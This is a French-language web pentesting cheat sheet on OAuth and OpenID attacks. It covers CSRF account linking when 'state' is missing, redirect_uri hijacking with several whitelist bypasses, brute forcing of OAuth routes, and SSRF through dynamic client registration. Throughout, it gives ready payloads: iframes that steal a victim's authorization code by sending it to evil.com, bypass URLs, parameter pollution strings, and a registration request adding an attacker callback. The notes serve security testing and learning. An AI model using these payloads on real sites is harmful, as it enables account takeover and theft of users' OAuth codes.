👋OAuth

Processus

Vol de session

• se connecter tout en capturant le traffic dans le http history de burp

• aller dans le POST /authenticate

• changer l'email de la victime par le mail de l'attaquant

Absence de contrôle CSRF

Dans le cas où le paramètre state (permettant de se protéger des attaques CSRF) serait absent, Un utilisateur malveillant pourrait tenter de détourner le compte d'un autre utilisateur en le manipulant dans le but de lier son compte à son réseau social.

Exemple:

Application permettant d'associer un compte de réseau social.

• Se connecter

• Associer un compte de réseau social

• Vérifier le fonctionnement de la fonction "Se connecter avec [réseau social]"

• Dans l'historique http de burp, analyser les requêtes

• Vérifier que la redirection ne contient pas le paramètre "state"

• Vérifier la présence du code d'autorisation dans la requête suivant la redirection

La deuxième étape vise à refaire le même procéder sans utiliser le code d'autorisation qui ne sera plus valide s'il est utilisé.

• Capturer la requête "Associer un compte"

• Forward la requête jusqu'au code d'autorisation

• Copier l'url de la requête

Attention: il est important de drop la requête afin d'empêcher l'utilisation du code avant de l'avoir transmis à la victime.

A partir de ce moment, le fait que le paramètre state ne soit pas présent permet à l'attaquant de créer un exploit tel que celui ci-dessous qu'il pourrait envoyer à un autre utilisateur pour l'inciter à lier son compte au siens contre son gré:

<iframe src="https://target.com/oaut-linking?code=<AUTORIZATION_CODE>"></iframe>

Si le paramètre state est présent, essayer de le laisser vide pour vérifier si il est réellement vérifié.

OAuth hijacking via redirect_uri

Si le paramètre redirect_uri n'est pas correctement validé et permet à un attaquant de rediriger la requête OAuth sur un serveur lui appartenant, il pourrait alors prendre le contrôle du compte d'un autre utilisateur.

Etapes:

• Se connecter

• Associer un compte de réseau social

• Vérifier le fonctionnement de la fonction "Se connecter avec [réseau social]"

• Dans l'historique http de burp, analyser les requêtes

• Tenter de remplacer le contenu du paramètre "redirect_uri" par une valeur arbitraire

• Constater qu'il n'y a pas d'erreur

• Vérifier la vulnérabilité en tentant une redirection sur un serveur nous appartenant (vérifier la présence du code d'autorisation dans les logs)

La deuxième étape consiste donc à envoyer comme précédemment un exploit à notre victime qui va permettre de voler son code d'autorisation et qui va ainsi nous permettre de nous connecter avec.

<iframe src="https://target.com/auth?client_id=<client_id>&redirect_uri=https://evil.com&response_type=code&scope=openid%20profile%20email"></iframe>

Une fois que la cible aura exécuté l'exploit, son code sera leaké dans les logs de notre serveur et nous n'auront donc plus qu'à nous déconnecter de notre session puis nous reconnecter en utilisant directement le code de notre victime.

Exemple:

https://target.com/oauth-callback?code=<STOLEN_CODE>

Bypass

Afin d'éviter ce risque, les entreprises utilisent des whitelist leur permettant de n'autoriser que leurs urls dans le paramètre redirect_uri mais si celles-ci ne sont pas correctement implémentés, elle peuvent être contournées de différentes manières.

• Certaines implémentations autorisent une plage de sous-répertoires en vérifiant uniquement que la chaîne commence par la séquence de caractères correcte, c'est-à-dire un domaine approuvé. Vous devriez essayer de supprimer ou d'ajouter des chemins arbitraires, des paramètres de requête et des fragments pour voir ce que vous pouvez modifier sans déclencher d'erreur.

• Si vous pouvez ajouter des valeurs supplémentaires au paramètre redirect_uri par défaut, vous pourrez peut-être exploiter les écarts entre l'analyse de l'URI par les différents composants du service OAuth. Par exemple, vous pouvez essayer des techniques telles que:

https://target.com&@foo.evil.net#@bar.evil.net/

• Vous pouvez occasionnellement rencontrer des vulnérabilités de pollution des paramètres côté serveur. Au cas où, vous devriez essayer de soumettre des paramètres redirect_uri en double comme suit :

https://www.target.com/?clientid=<client_id>&redirect_uri=target.com/callback&redirect_uri=evil.net/exploit

• Certains serveurs accordent également un traitement spécial aux URI localhostcar ils sont souvent utilisés pendant le développement. Dans certains cas, tout URI de redirection commençant par localhostpeut être accidentellement autorisé dans l'environnement de production. Cela pourrait vous permettre de contourner la validation en enregistrant un nom de domaine tel que localhost.evil.net.

• Si il est impossible de nous rediriger vers notre serveur directement via le paramètre redirect_uri et qu'une autre page du site contient une redirection ouverte, on peut essayer d'utiliser du path traversal pour nous rendre sur cette page.

Exemple: https://target.com/oauth/callback/../exemple/path?redirect=http://evil.net

Essayez également de trouver toutes autres vulnérabilités qui vous permettraient d'extraire le code ou le jeton OAuth et de l'envoyer à un domaine externe.

• XSS

• HTML injection (<img src="evil.net">)

OAuth brute force

Essayer de brute force la page de login pour trouver des règles oauth cachées.

Exemple:

/login/facebook

/login/oauth/twitter

/login/oauth/v2/yahoo

OpenID dynamic client registration SSRF

La spécification OpenID permet aux applications clientes de s'enregistrer auprès du fournisseur OpenID de manière standardisée. Si l'enregistrement dynamique du client est pris en charge, l'application client peut s'enregistrer elle-même en envoyant une requête POST à endpoint dédié tel que /registration par exemple. Le nom de cet endpoint est généralement fourni dans le fichier de configuration et la documentation.

Via cet endpoint, l'utilisateur va alors avoir la possibilité de s'enregistrer en renseignant des informations au format JSON demandant souvent une liste d'urls de redirection whitelistées.

De cette manière, si cette fonctionnalité est activée et mal restreinte, un attaquant à la possibilité d'enregistrer ses propres urls de redirection et ainsi de bénéficier d'une SSRF.

Exemple:

POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89...

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://attacker-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}